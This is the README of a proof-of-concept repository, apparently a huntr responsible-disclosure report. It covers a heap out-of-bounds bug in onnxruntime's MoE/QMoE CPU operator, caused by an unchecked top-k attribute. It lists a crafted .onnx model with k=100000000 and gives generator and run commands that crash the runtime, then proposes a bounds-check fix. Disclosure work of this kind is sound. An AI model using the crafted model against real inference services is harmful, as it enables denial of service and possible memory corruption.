onnxruntime-moe-k-partialsort-oob-poc

PoC — onnxruntime MoE/QMoE k attribute → std::partial_sort heap out-of-bounds

huntr MFV PoC vs microsoft/onnxruntime contrib_ops/cpu/moe/moe_cpu.cc:163 (twin: moe_quantization_cpu.cc:1035). Authorized security research (responsible disclosure via huntr).

The MoE node's k (top-k experts) attribute is read from the .onnx model with no bound, then used as std::partial_sort(sorted_logits.begin(), sorted_logits.begin() + k_, sorted_logits.end(), …) where sorted_logits is sized num_experts. k_ > num_experts → out-of-range middle iterator → heap OOB in partial_sort's heapify.

Files

• poc_moe_k.onnx — real .onnx with a com.microsoft MoE node, k=100000000, num_experts=8.
• gen_onnx_moe.py — generator (requires onnx).
• partialsort_repro.cpp — isolated STL repro.
• CRASH_PROVEN.md — end-to-end crash (real onnxruntime 1.27.0): k=1e8 crashes, k=2 runs fine.

Reproduce

pip install onnx onnxruntime
python gen_onnx_moe.py poc_moe_k.onnx 100000000
python - <<'PY'
import numpy as np, onnxruntime as ort
s=ort.InferenceSession("poc_moe_k.onnx", providers=["CPUExecutionProvider"])
s.run(None, {"input":np.random.rand(4,8).astype("float32"),"router_probs":np.random.rand(4,8).astype("float32")})
PY
# -> crash (exit 138) in ComputeMoE partial_sort;  k=2 instead runs cleanly.

Fix

Validate 0 < k <= num_experts in the MoE/QMoE op (schema + CheckInputs) before partial_sort.